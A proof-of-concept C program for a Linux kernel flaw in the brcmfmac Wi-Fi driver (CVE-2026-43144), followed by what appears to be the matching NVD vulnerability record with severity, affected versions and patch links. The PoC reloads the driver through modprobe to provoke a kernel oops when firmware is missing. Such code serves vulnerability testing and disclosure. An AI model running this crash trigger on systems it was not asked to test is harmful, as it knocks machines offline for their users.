CVE-2026-43144

/* * PoC for CVE-2026-43144 * Trigger condition: Load brcmfmac driver when firmware is missing. * This causes the driver to set bus to ERR_PTR, and subsequent removal * triggers a kernel oops when trying to free the invalid pointer. */ #include <stdio.h> #include <stdlib.h> int main() { printf("[+] Attempting to trigger CVE-2026-43144...\n"); printf("[+] Unloading existing brcmfmac module...\n"); system("modprobe -r brcmfmac"); printf("[+] Loading brcmfmac module...\n"); printf("[+] If firmware is missing, the kernel should crash (Oops).\n"); // This command attempts to load the module. // On a vulnerable system with missing firmware, // the probe fails, sets bus to ERR_PTR, and crashes on cleanup. int ret = system("modprobe brcmfmac"); if (ret != 0) { printf("[!] Module load failed (Expected if firmware missing). Check dmesg for Oops.\n"); } else { printf("[-] Module loaded successfully. System may not be vulnerable or firmware is present.\n"); system("modprobe -r brcmfmac"); } return 0; }

{"cve": {"id": "CVE-2026-43144", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:31.870", "lastModified": "2026-05-13T21:10:13.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: Fix potential kernel oops when probe fails\n\nWhen probe of the sdio brcmfmac device fails for some reasons (i.e.\nmissing firmware), the sdiodev->bus is set to error instead of NULL, thus\nthe cleanup later in brcmf_sdio_remove() tries to free resources via\ninvalid bus pointer. This happens because sdiodev->bus is set 2 times:\nfirst in brcmf_sdio_probe() and second time in brcmf_sdiod_probe(). Fix\nthis by chaning the brcmf_sdio_probe() function to return the error code\nand set sdio->bus only there."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/243307a0d1b0d01538e202c00454c28b21d4432e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/379aac7ee8240848aa35f605b06addb4617c863e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/64ccb0aac41c5055780c2a58bbe2c1b362ceccde", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}